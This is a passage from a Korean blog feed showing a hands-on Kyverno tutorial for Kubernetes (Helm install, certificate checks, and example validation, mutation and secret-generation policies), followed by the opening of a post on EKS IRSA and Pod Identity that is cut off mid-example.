&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2788&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmFQH5/btsGzguBwAd/ti1xq2thrBZHLQ3Pkawvn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmFQH5/btsGzguBwAd/ti1xq2thrBZHLQ3Pkawvn1/img.png&quot; data-alt=&quot;https://kyverno.io/docs/introduction/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmFQH5/btsGzguBwAd/ti1xq2thrBZHLQ3Pkawvn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmFQH5%2FbtsGzguBwAd%2Fti1xq2thrBZHLQ3Pkawvn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2788&quot; height=&quot;1440&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2788&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://kyverno.io/docs/introduction/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://artifacthub.io/packages/helm/kyverno/kyverno&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;설치&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2858&quot; data-origin-height=&quot;1472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDK8Kj/btsGyQ4x3Rd/xwHUJi3hjKmnzD9SIb0an1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDK8Kj/btsGyQ4x3Rd/xwHUJi3hjKmnzD9SIb0an1/img.png&quot; data-alt=&quot;https://kyverno.io/docs/installation/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDK8Kj/btsGyQ4x3Rd/xwHUJi3hjKmnzD9SIb0an1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDK8Kj%2FbtsGyQ4x3Rd%2FxwHUJi3hjKmnzD9SIb0an1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2858&quot; height=&quot;1472&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2858&quot; data-origin-height=&quot;1472&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://kyverno.io/docs/installation/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kube-system 네임스페이스에 있는 파드들은 정책이 적용되지 않도록 예외처리를 해주어야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712901391892&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat &amp;lt;&amp;lt; EOF &amp;gt; kyverno-value.yaml
config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

admissionController:
  serviceMonitor:
    enabled: true

backgroundController:
  serviceMonitor:
    enabled: true

cleanupController:
  serviceMonitor:
    enabled: true

reportsController:
  serviceMonitor:
    enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno

# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno

# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
sudo rpm -i step-cli_amd64.rpm

#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프로메테우스&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kyverno 메트릭들을 프로메테우스에서 조회할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.04.43.png&quot; data-origin-width=&quot;1819&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPA3ZV/btsGzkqxWOg/4EDLYu1xxrjRfopC2dgI6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPA3ZV/btsGzkqxWOg/4EDLYu1xxrjRfopC2dgI6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPA3ZV/btsGzkqxWOg/4EDLYu1xxrjRfopC2dgI6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPA3ZV%2FbtsGzkqxWOg%2F4EDLYu1xxrjRfopC2dgI6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1819&quot; height=&quot;494&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.04.43.png&quot; data-origin-width=&quot;1819&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;그라파나 (&lt;span data-token-index=&quot;0&quot;&gt;15987&lt;/span&gt;, &lt;span data-token-index=&quot;2&quot;&gt;15804)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span data-token-index=&quot;2&quot;&gt;공식 제공되는 kyverno 대시보드를 통해 메트릭들을 쉽게 시각화할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.03.39.png&quot; data-origin-width=&quot;1813&quot; data-origin-height=&quot;928&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPQKol/btsGAeDb7AD/BKqwTSirmHmx26NXPKcM8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPQKol/btsGAeDb7AD/BKqwTSirmHmx26NXPKcM8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPQKol/btsGAeDb7AD/BKqwTSirmHmx26NXPKcM8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPQKol%2FbtsGAeDb7AD%2FBKqwTSirmHmx26NXPKcM8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1813&quot; height=&quot;928&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.03.39.png&quot; data-origin-width=&quot;1813&quot; data-origin-height=&quot;928&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Policy and Role&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBgXxV/btsGzjLSKdx/az0KYtThy0K0MMu3p3moe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBgXxV/btsGzjLSKdx/az0KYtThy0K0MMu3p3moe1/img.png&quot; data-alt=&quot;https://kyverno.io/docs/kyverno-policies/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBgXxV/btsGzjLSKdx/az0KYtThy0K0MMu3p3moe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBgXxV%2FbtsGzjLSKdx%2Faz0KYtThy0K0MMu3p3moe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://kyverno.io/docs/kyverno-policies/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 규칙은 Match 선언, 선택적(Exclude) 선언 및 Validate, Mutate, Generate 또는 Verify Images 선언 중 하나로 구성됩니다.&lt;/li&gt;
&lt;li&gt;각 규칙에는 단일 Validate, Mutate, Generate또는 Verify Images 하위 선언만 포함될 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://kyverno.io/docs/introduction/#validation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Validation&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1712902317321&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링
watch -d kubectl get pod -n kyverno

# ClusterPolicy 적용
kubectl create -f- &amp;lt;&amp;lt; EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-labels
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: &quot;label 'team' is required&quot;
      pattern:
        metadata:
          labels:
            team: &quot;?*&quot;
EOF

# 확인
kubectl get validatingwebhookconfigurations
kubectl get ClusterPolicy
NAME             ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
require-labels   true        true         Enforce           True    12s   Ready

# 디플로이먼트 생성 시도
kubectl create deployment nginx --image=nginx
error: failed to create deployment: admission webhook &quot;validate.kyverno.svc-fail&quot; denied the request: 

resource Deployment/default/nginx was blocked due to the following policies 

require-labels:
  autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
    failed at path /spec/template/metadata/labels/team/'

# 디플로이먼트 생성 시도
kubectl run nginx --image nginx --labels team=backend
kubectl get pod -l team=backend

# 확인
kubectl get policyreport -o wide
NAME                                   KIND         NAME                          PASS   FAIL   WARN   ERROR   SKIP   AGE
e1073f10-84ef-4999-9651-9983c49ea76a   Pod          nginx                         1      0      0      0       0      29s

kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata: 
  labels: 
    app.kubernetes.io/managed-by: kyverno
  name: e1073f10-84ef-4999-9651-9983c49ea76a
  namespace: default
results: 
- message: validation rule 'check-team' passed.
  policy: require-labels
  result: pass
  rule: check-team
  scored: true
  source: kyverno
  timestamp: 
    nanos: 0
    seconds: 1712473900
scope: 
  apiVersion: v1
  kind: Pod
  name: nginx
  namespace: default
  uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary: 
  error: 0
  fail: 0
  pass: 1
  skip: 0
  warn: 0

# 정책 삭제
kubectl delete clusterpolicy require-labels&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.19.01.png&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;201&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NsV7Y/btsGzFHZSeW/0ZNfNeXL9ix3D9eO3xLZF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NsV7Y/btsGzFHZSeW/0ZNfNeXL9ix3D9eO3xLZF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NsV7Y/btsGzFHZSeW/0ZNfNeXL9ix3D9eO3xLZF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNsV7Y%2FbtsGzFHZSeW%2F0ZNfNeXL9ix3D9eO3xLZF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;201&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.19.01.png&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;201&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://kyverno.io/docs/introduction/#mutation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mutation&lt;/a&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1712902757633&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
kubectl create -f- &amp;lt;&amp;lt; EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: add-labels
spec:
  rules:
  - name: add-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    mutate:
      patchStrategicMerge:
        metadata:
          labels:
            +(team): bravo
EOF

# 확인
kubectl get mutatingwebhookconfigurations
kubectl get ClusterPolicy
NAME         ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE     MESSAGE
add-labels   true        true         Audit             True    6m41s   Ready

# 파드 생성 후 label 확인
kubectl run redis --image redis
kubectl get pod redis --show-labels

# 파드 생성 후 label 확인 : 바로 위와 차이점은?
kubectl run newredis --image redis -l team=alpha
kubectl get pod newredis --show-labels

# 삭제
kubectl delete clusterpolicy add-labels&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.25.59.png&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brp4mR/btsGzlv4PR0/PYgs45k6o8AEMxyRYWMrNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brp4mR/btsGzlv4PR0/PYgs45k6o8AEMxyRYWMrNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brp4mR/btsGzlv4PR0/PYgs45k6o8AEMxyRYWMrNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrp4mR%2FbtsGzlv4PR0%2FPYgs45k6o8AEMxyRYWMrNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;739&quot; height=&quot;122&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.25.59.png&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Generation (새로운 네임스페이스에 Image Pull Secret 생성)&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1712902987446&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
  --docker-server=myinternalreg.corp.com \
  --docker-username=john.doe \
  --docker-password=Passw0rd123! \
  --docker-email=john.doe@corp.com

#
kubectl get secret regcred
NAME      TYPE                             DATA   AGE
regcred   kubernetes.io/dockerconfigjson   1      26s

#
kubectl create -f- &amp;lt;&amp;lt; EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: sync-secrets
spec:
  rules:
  - name: sync-image-pull-secret
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      apiVersion: v1
      kind: Secret
      name: regcred
      namespace: &quot;{{request.object.metadata.name}}&quot;
      synchronize: true
      clone:
        namespace: default
        name: regcred
EOF

#
kubectl get ClusterPolicy
NAME           ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
sync-secrets   true        true         Audit             True    8s    Ready

# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret

# 삭제
kubectl delete clusterpolicy sync-secrets&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.24.33.png&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0lpGi/btsGAdEk5re/Xl9P5tduKrNzijPiApG030/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0lpGi/btsGAdEk5re/Xl9P5tduKrNzijPiApG030/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0lpGi/btsGAdEk5re/Xl9P5tduKrNzijPiApG030/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0lpGi%2FbtsGAdEk5re%2FXl9P5tduKrNzijPiApG030%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;62&quot; data-filename=&quot;스크린샷 2024-04-12 오후 3.24.33.png&quot; data-origin-width=&quot;630&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://kyverno.io/docs/kyverno-cli/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Kyverno CLI&lt;/a&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1712903234882&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Install Kyverno CLI using kubectl krew plugin manager
kubectl krew install kyverno

# test the Kyverno CLI
kubectl kyverno version
kubectl kyverno --help&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/16</guid>
      <comments>https://imxsuu.tistory.com/16#entry16comment</comments>
      <pubDate>Fri, 12 Apr 2024 15:28:37 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] EKS IRSA &amp;amp; Pod Identitty</title>
      <link>https://imxsuu.tistory.com/15</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;EKS IRSA &amp;amp; Pod Identitty&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;s&gt;&lt;span data-token-index=&quot;0&quot;&gt;EC2 Instance Profile&lt;/span&gt;&lt;/s&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용하기 편하지만, 노드당 권한이 부여되는 방식으로 최소 권한 부여 원칙에 위배하여 하나의 파드가 해킹당하면 해당 파드에서 노드에 부여된 권한을 모두 사용할 수 있어 보안상 권고되지 않습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvC05b/btsGAeCeacR/FKLTPHzLKNrussYBoSdaRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvC05b/btsGAeCeacR/FKLTPHzLKNrussYBoSdaRK/img.png&quot; data-alt=&quot;https://sharing-for-us.tistory.com/40&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvC05b/btsGAeCeacR/FKLTPHzLKNrussYBoSdaRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvC05b%2FbtsGAeCeacR%2FFKLTPHzLKNrussYBoSdaRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1223&quot; height=&quot;427&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://sharing-for-us.tistory.com/40&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712848993900&quot; class=&quot;yaml&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 설정 예시 1 : eksctl 사용 시
eksctl create cluster --name $CLUSTER_NAME ... --external-dns-access --full-ecr-access --asg-access

# 설정 예시 2 : eksctl로 yaml 파일로 노드 생성 시
cat myeks.yaml | yh
...
managedNodeGroups:
- amiFamily: AmazonLinux2
  iam:
    withAddonPolicies:
      albIngress: false
      appMesh: false
      appMeshPreview: false
      autoScaler: true
      awsLoadBalancerController: false
      certManager: true
      cloudWatch: true
      ebs: false
      efs: false
      externalDNS: true
      fsx: false
      imageBuilder: true
      xRay: false
...

# 설정 예시 3 : 테라폼
...&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;IRSA&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #337ea9;&quot; data-token-index=&quot;0&quot;&gt;동작방식 : k8s 파드 &amp;rarr; AWS 서비스 사용 시 &amp;rArr; AWS STS/IAM &amp;harr; IAM OIDC Identity Provider(EKS IdP) 인증/인가&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;필요 지식&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span data-token-index=&quot;0&quot;&gt;S&lt;/span&gt;ervice&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span data-token-index=&quot;2&quot;&gt;A&lt;/span&gt;ccount Token&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span data-token-index=&quot;4&quot;&gt;Volume Projection&lt;/span&gt;, Admission Control,&lt;span data-token-index=&quot;6&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;JWT&lt;/span&gt;(JSON Web Token),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span data-token-index=&quot;8&quot;&gt;OIDC&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#serviceaccount-token-volume-projection&quot;&gt;Service Account Token Volume Projection&lt;/a&gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: '&lt;b&gt;서비스 계정 토큰&lt;/b&gt;'의 시크릿 기반 볼륨 대신 '&lt;b&gt;Projected Volume&lt;/b&gt;' 사용&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서비스 계정 토큰을 이용해서 서비스와 서비스, 즉 파드와 파드의 호출에서 자격 증명으로 사용할 수 있을까요?&lt;/li&gt;
&lt;li&gt;불행히도 기본 서비스 계정 토큰으로는 사용하기에 부족함이 있습니다. 토큰을 사용하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;대상&lt;/b&gt;(audience),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;유효 기간&lt;/b&gt;(expiration) 등 토큰의 속성을 지정할 필요가 있기 때문입니다.&lt;/li&gt;
&lt;li&gt;Service Account Token Volume Projection&amp;nbsp;기능을 사용하면 이러한 부족한 점들을 해결할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993903&quot; class=&quot;yaml&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - image: nginx
    name: nginx
    volumeMounts:
    - mountPath: /var/run/secrets/tokens
      name: vault-token
  serviceAccountName: build-robot
  volumes:
  - name: vault-token
    projected:
      sources:
      - serviceAccountToken:
          path: vault-token
          expirationSeconds: 7200
